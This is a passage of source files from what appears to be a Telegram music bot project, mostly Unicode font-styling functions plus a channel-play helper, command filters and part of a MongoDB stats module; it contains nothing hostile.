"T": "🅣︎",
"U": "🅤︎",
"V": "🅥︎",
"W": "🅦︎",
"X": "🅧︎",
"Y": "🅨︎",
"Z": "🅩",
"0": "⓿",
"1": "➊",
"2": "➋",
"3": "➌",
"4": "➍",
"5": "➎",
"6": "➏",
"7": "➐",
"8": "➑",
"9": "➒",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def gothic(text):
style = {
"a": "𝔞",
"b": "𝔟",
"c": "𝔠",
"d": "𝔡",
"e": "𝔢",
"f": "𝔣",
"g": "𝔤",
"h": "𝔥",
"i": "𝔦",
"j": "𝔧",
"k": "𝔨",
"l": "𝔩",
"m": "𝔪",
"n": "𝔫",
"o": "𝔬",
"p": "𝔭",
"q": "𝔮",
"r": "𝔯",
"s": "𝔰",
"t": "𝔱",
"u": "𝔲",
"v": "𝔳",
"w": "𝔴",
"x": "𝔵",
"y": "𝔶",
"z": "𝔷",
"A": "𝔄",
"B": "𝔅",
"C": "ℭ",
"D": "𝔇",
"E": "𝔈",
"F": "𝔉",
"G": "𝔊",
"H": "ℌ",
"I": "ℑ",
"J": "𝔍",
"K": "𝔎",
"L": "𝔏",
"M": "𝔐",
"N": "𝔑",
"O": "𝔒",
"P": "𝔓",
"Q": "𝔔",
"R": "ℜ",
"S": "𝔖",
"T": "𝔗",
"U": "𝔘",
"V": "𝔙",
"W": "𝔚",
"X": "𝔛",
"Y": "𝔜",
"Z": "ℨ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_gothic(text):
style = {
"a": "𝖆",
"b": "𝖇",
"c": "𝖈",
"d": "𝖉",
"e": "𝖊",
"f": "𝖋",
"g": "𝖌",
"h": "𝖍",
"i": "𝖎",
"j": "𝖏",
"k": "𝖐",
"l": "𝖑",
"m": "𝖒",
"n": "𝖓",
"o": "𝖔",
"p": "𝖕",
"q": "𝖖",
"r": "𝖗",
"s": "𝖘",
"t": "𝖙",
"u": "𝖚",
"v": "𝖛",
"w": "𝖜",
"x": "𝖝",
"y": "𝖞",
"z": "𝖟",
"A": "𝕬",
"B": "𝕭",
"C": "𝕮",
"D": "𝕺",
"E": "𝕰",
"F": "𝕱",
"G": "𝕲",
"H": "𝕳",
"I": "𝕴",
"J": "𝕵",
"K": "𝕶",
"L": "𝕷",
"M": "𝕸",
"N": "𝕹",
"O": "𝕺",
"P": "𝕻",
"Q": "𝕼",
"R": "𝕽",
"S": "𝕾",
"T": "𝕿",
"U": "𝖀",
"V": "𝖁",
"W": "𝖂",
"X": "𝖃",
"Y": "𝖄",
"Z": "𝖅",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def cloud(text):
style = {
"a": "a͜͡",
"b": "b͜͡",
"c": "c͜͡",
"d": "d͜͡",
"e": "e͜͡",
"f": "f͜͡",
"g": "g͜͡",
"h": "h͜͡",
"i": "i͜͡",
"j": "j͜͡",
"k": "k͜͡",
"l": "l͜͡",
"m": "m͜͡",
"n": "n͜͡",
"o": "o͜͡",
"p": "p͜͡",
"q": "q͜͡",
"r": "r͜͡",
"s": "s͜͡",
"t": "t͜͡",
"u": "u͜͡",
"v": "v͜͡",
"w": "w͜͡",
"x": "x͜͡",
"y": "y͜͡",
"z": "z͜͡",
"A": "A͜͡",
"B": "B͜͡",
"C": "C͜͡",
"D": "D͜͡",
"E": "E͜͡",
"F": "F͜͡",
"G": "G͜͡",
"H": "H͜͡",
"I": "I͜͡",
"J": "J͜͡",
"K": "K͜͡",
"L": "L͜͡",
"M": "M͜͡",
"N": "N͜͡",
"O": "O͜͡",
"P": "P͜͡",
"Q": "Q͜͡",
"R": "R͜͡",
"S": "S͜͡",
"T": "T͜͡",
"U": "U͜͡",
"V": "V͜͡",
"W": "W͜͡",
"X": "X͜͡",
"Y": "Y͜͡",
"Z": "Z͜͡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def happy(text):
style = {
"a": "ă̈",
"b": "b̆̈",
"c": "c̆̈",
"d": "d̆̈",
"e": "ĕ̈",
"f": "f̆̈",
"g": "ğ̈",
"h": "h̆̈",
"i": "ĭ̈",
"j": "j̆̈",
"k": "k̆̈",
"l": "l̆̈",
"m": "m̆̈",
"n": "n̆̈",
"o": "ŏ̈",
"p": "p̆̈",
"q": "q̆̈",
"r": "r̆̈",
"s": "s̆̈",
"t": "t̆̈",
"u": "ŭ̈",
"v": "v̆̈",
"w": "w̆̈",
"x": "x̆̈",
"y": "y̆̈",
"z": "z̆̈",
"A": "Ă̈",
"B": "B̆̈",
"C": "C̆̈",
"D": "D̆̈",
"E": "Ĕ̈",
"F": "F̆̈",
"G": "Ğ̈",
"H": "H̆̈",
"I": "Ĭ̈",
"J": "J̆̈",
"K": "K̆̈",
"L": "L̆̈",
"M": "M̆̈",
"N": "N̆̈",
"O": "Ŏ̈",
"P": "P̆̈",
"Q": "Q̆̈",
"R": "R̆̈",
"S": "S̆̈",
"T": "T̆̈",
"U": "Ŭ̈",
"V": "V̆̈",
"W": "W̆̈",
"X": "X̆̈",
"Y": "Y̆̈",
"Z": "Z̆̈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def sad(text):
style = {
"a": "ȃ̈",
"b": "b̑̈",
"c": "c̑̈",
"d": "d̑̈",
"e": "ȇ̈",
"f": "f̑̈",
"g": "g̑̈",
"h": "h̑̈",
"i": "ȋ̈",
"j": "j̑̈",
"k": "k̑̈",
"l": "l̑̈",
"m": "m̑̈",
"n": "n̑̈",
"o": "ȏ̈",
"p": "p̑̈",
"q": "q̑̈",
"r": "ȓ̈",
"s": "s̑̈",
"t": "t̑̈",
"u": "ȗ̈",
"v": "v̑̈",
"w": "w̑̈",
"x": "x̑̈",
"y": "y̑̈",
"z": "z̑̈",
"A": "Ȃ̈",
"B": "B̑̈",
"C": "C̑̈",
"D": "D̑̈",
"E": "Ȇ̈",
"F": "F̑̈",
"G": "G̑̈",
"H": "H̑̈",
"I": "Ȋ̈",
"J": "J̑̈",
"K": "K̑̈",
"L": "L̑̈",
"M": "M̑̈",
"N": "N̑̈",
"O": "Ȏ̈",
"P": "P̑̈",
"Q": "Q̑̈",
"R": "Ȓ̈",
"S": "S̑̈",
"T": "T̑̈",
"U": "Ȗ̈",
"V": "V̑̈",
"W": "W̑̈",
"X": "X̑̈",
"Y": "Y̑̈",
"Z": "Z̑̈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def special(text):
style = {
"a": "🇦 ",
"b": "🇧 ",
"c": "🇨 ",
"d": "🇩 ",
"e": "🇪 ",
"f": "🇫 ",
"g": "🇬 ",
"h": "🇭 ",
"i": "🇮 ",
"j": "🇯 ",
"k": "🇰 ",
"l": "🇱 ",
"m": "🇲 ",
"n": "🇳 ",
"o": "🇴 ",
"p": "🇵 ",
"q": "🇶 ",
"r": "🇷 ",
"s": "🇸 ",
"t": "🇹 ",
"u": "🇺 ",
"v": "🇻 ",
"w": "🇼 ",
"x": "🇽 ",
"y": "🇾 ",
"z": "🇿 ",
"A": "🇦 ",
"B": "🇧 ",
"C": "🇨 ",
"D": "🇩 ",
"E": "🇪 ",
"F": "🇫 ",
"G": "🇬 ",
"H": "🇭 ",
"I": "🇮 ",
"J": "🇯 ",
"K": "🇰 ",
"L": "🇱 ",
"M": "🇲 ",
"N": "🇳 ",
"O": "🇴 ",
"P": "🇵 ",
"Q": "🇶 ",
"R": "🇷 ",
"S": "🇸 ",
"T": "🇹 ",
"U": "🇺 ",
"V": "🇻 ",
"W": "🇼 ",
"X": "🇽 ",
"Y": "🇾 ",
"Z": "🇿 ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def square(text):
style = {
"a": "🄰",
"b": "🄱",
"c": "🄲",
"d": "🄳",
"e": "🄴",
"f": "🄵",
"g": "🄶",
"h": "🄷",
"i": "🄸",
"j": "🄹",
"k": "🄺",
"l": "🄻",
"m": "🄼",
"n": "🄽",
"o": "🄾",
"p": "🄿",
"q": "🅀",
"r": "🅁",
"s": "🅂",
"t": "🅃",
"u": "🅄",
"v": "🅅",
"w": "🅆",
"x": "🅇",
"y": "🅈",
"z": "🅉",
"A": "🄰",
"B": "🄱",
"C": "🄲",
"D": "🄳",
"E": "🄴",
"F": "🄵",
"G": "🄶",
"H": "🄷",
"I": "🄸",
"J": "🄹",
"K": "🄺",
"L": "🄻",
"M": "🄼",
"N": "🄽",
"O": "🄾",
"P": "🄿",
"Q": "🅀",
"R": "🅁",
"S": "🅂",
"T": "🅃",
"U": "🅄",
"V": "🅅",
"W": "🅆",
"X": "🅇",
"Y": "🅈",
"Z": "🅉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def dark_square(text):
style = {
"a": "🅰︎",
"b": "🅱︎",
"c": "🅲︎",
"d": "🅳︎",
"e": "🅴︎",
"f": "🅵︎",
"g": "🅶︎",
"h": "🅷︎",
"i": "🅸︎",
"j": "🅹︎",
"k": "🅺︎",
"l": "🅻︎",
"m": "🅼︎",
"n": "🅽︎",
"o": "🅾︎",
"p": "🅿︎",
"q": "🆀︎",
"r": "🆁︎",
"s": "🆂︎",
"t": "🆃︎",
"u": "🆄︎",
"v": "🆅︎",
"w": "🆆︎",
"x": "🆇︎",
"y": "🆈︎",
"z": "🆉︎",
"A": "🅰︎",
"B": "🅱︎",
"C": "🅲︎",
"D": "🅳︎",
"E": "🅴︎",
"F": "🅵︎",
"G": "🅶︎",
"H": "🅷︎",
"I": "🅸︎",
"J": "🅹︎",
"K": "🅺︎",
"L": "🅻︎",
"M": "🅼︎",
"N": "🅽︎",
"O": "🅾︎",
"P": "🅿︎",
"Q": "🆀︎",
"R": "🆁︎",
"S": "🆂︎",
"T": "🆃︎",
"U": "🆄︎",
"V": "🆅︎",
"W": "🆆︎",
"X": "🆇︎",
"Y": "🆈︎",
"Z": "🆉︎",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def andalucia(text):
style = {
"a": "ꪖ",
"b": "᥇",
"c": "ᥴ",
"d": "ᦔ",
"e": "ꫀ",
"f": "ᠻ",
"g": "ᧁ",
"h": "ꫝ",
"i": "𝓲",
"j": "𝓳",
"k": "𝘬",
"l": "ꪶ",
"m": "ꪑ",
"n": "ꪀ",
"o": "ꪮ",
"p": "ρ",
"q": "𝘲",
"r": "𝘳",
"s": "𝘴",
"t": "𝓽",
"u": "ꪊ",
"v": "ꪜ",
"w": "᭙",
"x": "᥊",
"y": "ꪗ",
"z": "ɀ",
"A": "ꪖ",
"B": "᥇",
"C": "ᥴ",
"D": "ᦔ",
"E": "ꫀ",
"F": "ᠻ",
"G": "ᧁ",
"H": "ꫝ",
"I": "𝓲",
"J": "𝓳",
"K": "𝘬",
"L": "ꪶ",
"M": "ꪑ",
"N": "ꪀ",
"O": "ꪮ",
"P": "ρ",
"Q": "𝘲",
"R": "𝘳",
"S": "𝘴",
"T": "𝓽",
"U": "ꪊ",
"V": "ꪜ",
"W": "᭙",
"X": "᥊",
"Y": "ꪗ",
"Z": "ɀ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def manga(text):
style = {
"a": "卂",
"b": "乃",
"c": "匚",
"d": "ᗪ",
"e": "乇",
"f": "千",
"g": "ᘜ",
"h": "卄",
"i": "|",
"j": "フ",
"k": "Ҝ",
"l": "ㄥ",
"m": "爪",
"n": "几",
"o": "ㄖ",
"p": "卩",
"q": "Ҩ",
"r": "尺",
"s": "丂",
"t": "ㄒ",
"u": "ㄩ",
"v": "ᐯ",
"w": "山",
"x": "乂",
"y": "ㄚ",
"z": "乙",
"A": "卂",
"B": "乃",
"C": "匚",
"D": "ᗪ",
"E": "乇",
"F": "千",
"G": "ᘜ",
"H": "卄",
"I": "|",
"J": "フ",
"K": "Ҝ",
"L": "ㄥ",
"M": "爪",
"N": "几",
"O": "ㄖ",
"P": "卩",
"Q": "Ҩ",
"R": "尺",
"S": "丂",
"T": "ㄒ",
"U": "ㄩ",
"V": "ᐯ",
"W": "山",
"X": "乂",
"Y": "ㄚ",
"Z": "乙",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def stinky(text):
style = {
"a": "a̾",
"b": "b̾",
"c": "c̾",
"d": "d̾",
"e": "e̾",
"f": "f̾",
"g": "g̾",
"h": "h̾",
"i": "i̾",
"j": "j̾",
"k": "k̾",
"l": "l̾",
"m": "m̾",
"n": "n̾",
"o": "o̾",
"p": "p̾",
"q": "q̾",
"r": "r̾",
"s": "s̾",
"t": "t̾",
"u": "u̾",
"v": "v̾",
"w": "w̾",
"x": "x̾",
"y": "y̾",
"z": "z̾",
"A": "A̾",
"B": "B̾",
"C": "C̾",
"D": "D̾",
"E": "E̾",
"F": "F̾",
"G": "G̾",
"H": "H̾",
"I": "I̾",
"J": "J̾",
"K": "K̾",
"L": "L̾",
"M": "M̾",
"N": "N̾",
"O": "O̾",
"P": "P̾",
"Q": "Q̾",
"R": "R̾",
"S": "S̾",
"T": "T̾",
"U": "U̾",
"V": "V̾",
"W": "W̾",
"X": "X̾",
"Y": "Y̾",
"Z": "Z̾",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bubbles(text):
style = {
"a": "ḁͦ",
"b": "b̥ͦ",
"c": "c̥ͦ",
"d": "d̥ͦ",
"e": "e̥ͦ",
"f": "f̥ͦ",
"g": "g̥ͦ",
"h": "h̥ͦ",
"i": "i̥ͦ",
"j": "j̥ͦ",
"k": "k̥ͦ",
"l": "l̥ͦ",
"m": "m̥ͦ",
"n": "n̥ͦ",
"o": "o̥ͦ",
"p": "p̥ͦ",
"q": "q̥ͦ",
"r": "r̥ͦ",
"s": "s̥ͦ",
"t": "t̥ͦ",
"u": "u̥ͦ",
"v": "v̥ͦ",
"w": "w̥ͦ",
"x": "x̥ͦ",
"y": "y̥ͦ",
"z": "z̥ͦ",
"A": "Ḁͦ",
"B": "B̥ͦ",
"C": "C̥ͦ",
"D": "D̥ͦ",
"E": "E̥ͦ",
"F": "F̥ͦ",
"G": "G̥ͦ",
"H": "H̥ͦ",
"I": "I̥ͦ",
"J": "J̥ͦ",
"K": "K̥ͦ",
"L": "L̥ͦ",
"M": "M̥ͦ",
"N": "N̥ͦ",
"O": "O̥ͦ",
"P": "P̥ͦ",
"Q": "Q̥ͦ",
"R": "R̥ͦ",
"S": "S̥ͦ",
"T": "T̥ͦ",
"U": "U̥ͦ",
"V": "V̥ͦ",
"W": "W̥ͦ",
"X": "X̥ͦ",
"Y": "Y̥ͦ",
"Z": "Z̥ͦ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def underline(text):
style = {
"a": "a͟",
"b": "b͟",
"c": "c͟",
"d": "d͟",
"e": "e͟",
"f": "f͟",
"g": "g͟",
"h": "h͟",
"i": "i͟",
"j": "j͟",
"k": "k͟",
"l": "l͟",
"m": "m͟",
"n": "n͟",
"o": "o͟",
"p": "p͟",
"q": "q͟",
"r": "r͟",
"s": "s͟",
"t": "t͟",
"u": "u͟",
"v": "v͟",
"w": "w͟",
"x": "x͟",
"y": "y͟",
"z": "z͟",
"A": "A͟",
"B": "B͟",
"C": "C͟",
"D": "D͟",
"E": "E͟",
"F": "F͟",
"G": "G͟",
"H": "H͟",
"I": "I͟",
"J": "J͟",
"K": "K͟",
"L": "L͟",
"M": "M͟",
"N": "N͟",
"O": "O͟",
"P": "P͟",
"Q": "Q͟",
"R": "R͟",
"S": "S͟",
"T": "T͟",
"U": "U͟",
"V": "V͟",
"W": "W͟",
"X": "X͟",
"Y": "Y͟",
"Z": "Z͟",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def ladybug(text):
style = {
"a": "ꍏ",
"b": "ꌃ",
"c": "ꏳ",
"d": "ꀷ",
"e": "ꏂ",
"f": "ꎇ",
"g": "ꁅ",
"h": "ꀍ",
"i": "ꀤ",
"j": "꒻",
"k": "ꀘ",
"l": "꒒",
"m": "ꎭ",
"n": "ꈤ",
"o": "ꂦ",
"p": "ᖘ",
"q": "ꆰ",
"r": "ꋪ",
"s": "ꌚ",
"t": "꓄",
"u": "ꀎ",
"v": "꒦",
"w": "ꅐ",
"x": "ꉧ",
"y": "ꌩ",
"z": "ꁴ",
"A": "ꍏ",
"B": "ꌃ",
"C": "ꏳ",
"D": "ꀷ",
"E": "ꏂ",
"F": "ꎇ",
"G": "ꁅ",
"H": "ꀍ",
"I": "ꀤ",
"J": "꒻",
"K": "ꀘ",
"L": "꒒",
"M": "ꎭ",
"N": "ꈤ",
"O": "ꂦ",
"P": "ᖘ",
"Q": "ꆰ",
"R": "ꋪ",
"S": "ꌚ",
"T": "꓄",
"U": "ꀎ",
"V": "꒦",
"W": "ꅐ",
"X": "ꉧ",
"Y": "ꌩ",
"Z": "ꁴ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def rays(text):
style = {
"a": "a҉",
"b": "b҉",
"c": "c҉",
"d": "d҉",
"e": "e҉",
"f": "f҉",
"g": "g҉",
"h": "h҉",
"i": "i҉",
"j": "j҉",
"k": "k҉",
"l": "l҉",
"m": "m҉",
"n": "n҉",
"o": "o҉",
"p": "p҉",
"q": "q҉",
"r": "r҉",
"s": "s҉",
"t": "t҉",
"u": "u҉",
"v": "v҉",
"w": "w҉",
"x": "x҉",
"y": "y҉",
"z": "z҉",
"A": "A҉",
"B": "B҉",
"C": "C҉",
"D": "D҉",
"E": "E҉",
"F": "F҉",
"G": "G҉",
"H": "H҉",
"I": "I҉",
"J": "J҉",
"K": "K҉",
"L": "L҉",
"M": "M҉",
"N": "N҉",
"O": "O҉",
"P": "P҉",
"Q": "Q҉",
"R": "R҉",
"S": "S҉",
"T": "T҉",
"U": "U҉",
"V": "V҉",
"W": "W҉",
"X": "X҉",
"Y": "Y҉",
"Z": "Z҉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def birds(text):
style = {
"a": "a҈",
"b": "b҈",
"c": "c҈",
"d": "d҈",
"e": "e҈",
"f": "f҈",
"g": "g҈",
"h": "h҈",
"i": "i҈",
"j": "j҈",
"k": "k҈",
"l": "l҈",
"m": "m҈",
"n": "n҈",
"o": "o҈",
"p": "p҈",
"q": "q҈",
"r": "r҈",
"s": "s҈",
"t": "t҈",
"u": "u҈",
"v": "v҈",
"w": "w҈",
"x": "x҈",
"y": "y҈",
"z": "z҈",
"A": "A҈",
"B": "B҈",
"C": "C҈",
"D": "D҈",
"E": "E҈",
"F": "F҈",
"G": "G҈",
"H": "H҈",
"I": "I҈",
"J": "J҈",
"K": "K҈",
"L": "L҈",
"M": "M҈",
"N": "N҈",
"O": "O҈",
"P": "P҈",
"Q": "Q҈",
"R": "R҈",
"S": "S҈",
"T": "T҈",
"U": "U҈",
"V": "V҈",
"W": "W҈",
"X": "X҈",
"Y": "Y҈",
"Z": "Z҈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slash(text):
style = {
"a": "a̸",
"b": "b̸",
"c": "c̸",
"d": "d̸",
"e": "e̸",
"f": "f̸",
"g": "g̸",
"h": "h̸",
"i": "i̸",
"j": "j̸",
"k": "k̸",
"l": "l̸",
"m": "m̸",
"n": "n̸",
"o": "o̸",
"p": "p̸",
"q": "q̸",
"r": "r̸",
"s": "s̸",
"t": "t̸",
"u": "u̸",
"v": "v̸",
"w": "w̸",
"x": "x̸",
"y": "y̸",
"z": "z̸",
"A": "A̸",
"B": "B̸",
"C": "C̸",
"D": "D̸",
"E": "E̸",
"F": "F̸",
"G": "G̸",
"H": "H̸",
"I": "I̸",
"J": "J̸",
"K": "K̸",
"L": "L̸",
"M": "M̸",
"N": "N̸",
"O": "O̸",
"P": "P̸",
"Q": "Q̸",
"R": "R̸",
"S": "S̸",
"T": "T̸",
"U": "U̸",
"V": "V̸",
"W": "W̸",
"X": "X̸",
"Y": "Y̸",
"Z": "Z̸",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def stop(text):
style = {
"a": "a⃠",
"b": "b⃠",
"c": "c⃠",
"d": "d⃠",
"e": "e⃠",
"f": "f⃠",
"g": "g⃠",
"h": "h⃠",
"i": "i⃠",
"j": "j⃠",
"k": "k⃠",
"l": "l⃠",
"m": "m⃠",
"n": "n⃠",
"o": "o⃠",
"p": "p⃠",
"q": "q⃠",
"r": "r⃠",
"s": "s⃠",
"t": "t⃠",
"u": "u⃠",
"v": "v⃠",
"w": "w⃠",
"x": "x⃠",
"y": "y⃠",
"z": "z⃠",
"A": "A⃠",
"B": "B⃠",
"C": "C⃠",
"D": "D⃠",
"E": "E⃠",
"F": "F⃠",
"G": "G⃠",
"H": "H⃠",
"I": "I⃠",
"J": "J⃠",
"K": "K⃠",
"L": "L⃠",
"M": "M⃠",
"N": "N⃠",
"O": "O⃠",
"P": "P⃠",
"Q": "Q⃠",
"R": "R⃠",
"S": "S⃠",
"T": "T⃠",
"U": "U⃠",
"V": "V⃠",
"W": "W⃠",
"X": "X⃠",
"Y": "Y⃠",
"Z": "Z⃠",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def skyline(text):
style = {
"a": "a̺͆",
"b": "b̺͆",
"c": "c̺͆",
"d": "d̺͆",
"e": "e̺͆",
"f": "f̺͆",
"g": "g̺͆",
"h": "h̺͆",
"i": "i̺͆",
"j": "j̺͆",
"k": "k̺͆",
"l": "l̺͆",
"m": "m̺͆",
"n": "n̺͆",
"o": "o̺͆",
"p": "p̺͆",
"q": "q̺͆",
"r": "r̺͆",
"s": "s̺͆",
"t": "t̺͆",
"u": "u̺͆",
"v": "v̺͆",
"w": "w̺͆",
"x": "x̺͆",
"y": "y̺͆",
"z": "z̺͆",
"A": "A̺͆",
"B": "B̺͆",
"C": "C̺͆",
"D": "D̺͆",
"E": "E̺͆",
"F": "F̺͆",
"G": "G̺͆",
"H": "H̺͆",
"I": "I̺͆",
"J": "J̺͆",
"K": "K̺͆",
"L": "L̺͆",
"M": "M̺͆",
"N": "N̺͆",
"O": "O̺͆",
"P": "P̺͆",
"Q": "Q̺͆",
"R": "R̺͆",
"S": "S̺͆",
"T": "T̺͆",
"U": "U̺͆",
"V": "V̺͆",
"W": "W̺͆",
"X": "X̺͆",
"Y": "Y̺͆",
"Z": "Z̺͆",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def arrows(text):
style = {
"a": "a͎",
"b": "b͎",
"c": "c͎",
"d": "d͎",
"e": "e͎",
"f": "f͎",
"g": "g͎",
"h": "h͎",
"i": "i͎",
"j": "j͎",
"k": "k͎",
"l": "l͎",
"m": "m͎",
"n": "n͎",
"o": "o͎",
"p": "p͎",
"q": "q͎",
"r": "r͎",
"s": "s͎",
"t": "t͎",
"u": "u͎",
"v": "v͎",
"w": "w͎",
"x": "x͎",
"y": "y͎",
"z": "z͎",
"A": "A͎",
"B": "B͎",
"C": "C͎",
"D": "D͎",
"E": "E͎",
"F": "F͎",
"G": "G͎",
"H": "H͎",
"I": "I͎",
"J": "J͎",
"K": "K͎",
"L": "L͎",
"M": "M͎",
"N": "N͎",
"O": "O͎",
"P": "P͎",
"Q": "Q͎",
"R": "R͎",
"S": "S͎",
"T": "T͎",
"U": "U͎",
"V": "V͎",
"W": "W͎",
"X": "X͎",
"Y": "Y͎",
"Z": "Z͎",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def rvnes(text):
style = {
"a": "ል",
"b": "ጌ",
"c": "ር",
"d": "ዕ",
"e": "ቿ",
"f": "ቻ",
"g": "ኗ",
"h": "ዘ",
"i": "ጎ",
"j": "ጋ",
"k": "ጕ",
"l": "ረ",
"m": "ጠ",
"n": "ክ",
"o": "ዐ",
"p": "የ",
"q": "ዒ",
"r": "ዪ",
"s": "ነ",
"t": "ፕ",
"u": "ሁ",
"v": "ሀ",
"w": "ሠ",
"x": "ሸ",
"y": "ሃ",
"z": "ጊ",
"A": "ል",
"B": "ጌ",
"C": "ር",
"D": "ዕ",
"E": "ቿ",
"F": "ቻ",
"G": "ኗ",
"H": "ዘ",
"I": "ጎ",
"J": "ጋ",
"K": "ጕ",
"L": "ረ",
"M": "ጠ",
"N": "ክ",
"O": "ዐ",
"P": "የ",
"Q": "ዒ",
"R": "ዪ",
"S": "ነ",
"T": "ፕ",
"U": "ሁ",
"V": "ሀ",
"W": "ሠ",
"X": "ሸ",
"Y": "ሃ",
"Z": "ጊ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def strike(text):
style = {
"a": "a̶",
"b": "b̶",
"c": "c̶",
"d": "d̶",
"e": "e̶",
"f": "f̶",
"g": "g̶",
"h": "h̶",
"i": "i̶",
"j": "j̶",
"k": "k̶",
"l": "l̶",
"m": "m̶",
"n": "n̶",
"o": "o̶",
"p": "p̶",
"q": "q̶",
"r": "r̶",
"s": "s̶",
"t": "t̶",
"u": "u̶",
"v": "v̶",
"w": "w̶",
"x": "x̶",
"y": "y̶",
"z": "z̶",
"A": "A̶",
"B": "B̶",
"C": "C̶",
"D": "D̶",
"E": "E̶",
"F": "F̶",
"G": "G̶",
"H": "H̶",
"I": "I̶",
"J": "J̶",
"K": "K̶",
"L": "L̶",
"M": "M̶",
"N": "N̶",
"O": "O̶",
"P": "P̶",
"Q": "Q̶",
"R": "R̶",
"S": "S̶",
"T": "T̶",
"U": "U̶",
"V": "V̶",
"W": "W̶",
"X": "X̶",
"Y": "Y̶",
"Z": "Z̶",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def frozen(text):
style = {
"a": "a༙",
"b": "b༙",
"c": "c༙",
"d": "d༙",
"e": "e༙",
"f": "f༙",
"g": "g༙",
"h": "h༙",
"i": "i༙",
"j": "j༙",
"k": "k༙",
"l": "l༙",
"m": "m༙",
"n": "n༙",
"o": "o༙",
"p": "p༙",
"q": "q༙",
"r": "r༙",
"s": "s༙",
"t": "t༙",
"u": "u༙",
"v": "v༙",
"w": "w༙",
"x": "x༙",
"y": "y༙",
"z": "z༙",
"A": "A༙",
"B": "B༙",
"C": "C༙",
"D": "D༙",
"E": "E༙",
"F": "F༙",
"G": "G༙",
"H": "H༙",
"I": "I༙",
"J": "J༙",
"K": "K༙",
"L": "L༙",
"M": "M༙",
"N": "N༙",
"O": "O༙",
"P": "P༙",
"Q": "Q༙",
"R": "R༙",
"S": "S༙",
"T": "T༙",
"U": "U༙",
"V": "V༙",
"W": "W༙",
"X": "X༙",
"Y": "Y༙",
"Z": "Z༙",
}
for i, j in style.items():
text = text.replace(i, j)
return text
================================================
FILE: BrandrdXMusic/utils/channelplay.py
================================================
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import get_cmode
async def get_channeplayCB(_, command, CallbackQuery):
if command == "c":
chat_id = await get_cmode(CallbackQuery.message.chat.id)
if chat_id is None:
try:
return await CallbackQuery.answer(_["setting_7"], show_alert=True)
except:
return
try:
channel = (await app.get_chat(chat_id)).title
except:
try:
return await CallbackQuery.answer(_["cplay_4"], show_alert=True)
except:
return
else:
chat_id = CallbackQuery.message.chat.id
channel = None
return chat_id, channel
================================================
FILE: BrandrdXMusic/utils/cmdforac.py
================================================
from typing import Union, List
from pyrogram import filters
other_filters = filters.group & ~filters.via_bot & ~filters.forwarded
other_filters2 = (
filters.private & ~filters.via_bot & ~filters.forwarded
)
def avoice(commands: Union[str, List[str]]):
return filters.command(commands, "")
================================================
FILE: BrandrdXMusic/utils/database.py
================================================
import random
from typing import Dict, List, Union
from BrandrdXMusic import userbot
from BrandrdXMusic.core.mongo import mongodb, pymongodb
authdb = mongodb.adminauth
authuserdb = mongodb.authuser
autoenddb = mongodb.autoend
assdb = mongodb.assistants
blacklist_chatdb = mongodb.blacklistChat
blockeddb = mongodb.blockedusers
chatsdb = mongodb.chats
channeldb = mongodb.cplaymode
countdb = mongodb.upcount
gbansdb = mongodb.gban
langdb = mongodb.language
onoffdb = mongodb.onoffper
playmodedb = mongodb.playmode
playtypedb = mongodb.playtypedb
skipdb = mongodb.skipmode
sudoersdb = mongodb.sudoers
usersdb = mongodb.tgusersdb
privatedb = mongodb.privatechats
suggdb = mongodb.suggestion
cleandb = mongodb.cleanmode
queriesdb = mongodb.queries
userdb = mongodb.userstats
videodb = mongodb.vipvideocalls
chatsdbc = mongodb.chatsc # for clone
usersdbc = mongodb.tgusersdbc # for clone
# Shifting to memory [mongo sucks often]
active = []
activevideo = []
assistantdict = {}
autoend = {}
count = {}
channelconnect = {}
langm = {}
loop = {}
maintenance = []
nonadmin = {}
pause = {}
playmode = {}
playtype = {}
skipmode = {}
privatechats = {}
cleanmode = []
suggestion = {}
mute = {}
audio = {}
video = {}
# Total Queries on bot
async def get_queries() -> int:
chat_id = 98324
mode = await queriesdb.find_one({"chat_id": chat_id})
if not mode:
return 0
return mode["mode"]
async def set_queries(mode: int):
chat_id = 98324
queries = await queriesdb.find_one({"chat_id": chat_id})
if queries:
mode = queries["mode"] + mode
return await queriesdb.update_one(
{"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
)
# Top Chats DB
async def get_top_chats() -> dict:
results = {}
async for chat in chattopdb.find({"chat_id": {"$lt": 0}}):
chat_id = chat["chat_id"]
total = 0
for i in chat["vidid"]:
counts_ = chat["vidid"][i]["spot"]
if counts_ > 0:
total += counts_
results[chat_id] = total
return results
async def get_global_tops() -> dict:
results = {}
async for chat in chattopdb.find({"chat_id": {"$lt": 0}}):
for i in chat["vidid"]:
counts_ = chat["vidid"][i]["spot"]
title_ = chat["vidid"][i]["title"]
if counts_ > 0:
if i not in results:
results[i] = {}
results[i]["spot"] = counts_
results[i]["title"] = title_
else:
spot = results[i]["spot"]
count_ = spot + counts_
results[i]["spot"] = count_
return results
async def get_particulars(chat_id: int) -> Dict[str, int]:
ids = await chattopdb.find_one({"chat_id": chat_id})
if not ids:
return {}
return ids["vidid"]
async def get_particular_top(chat_id: int, name: str) -> Union[bool, dict]:
ids = await get_particulars(chat_id)
if name in ids:
return ids[name]
async def update_particular_top(chat_id: int, name: str, vidid: dict):
ids = await get_particulars(chat_id)
ids[name] = vidid
await chattopdb.update_one(
{"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True
)
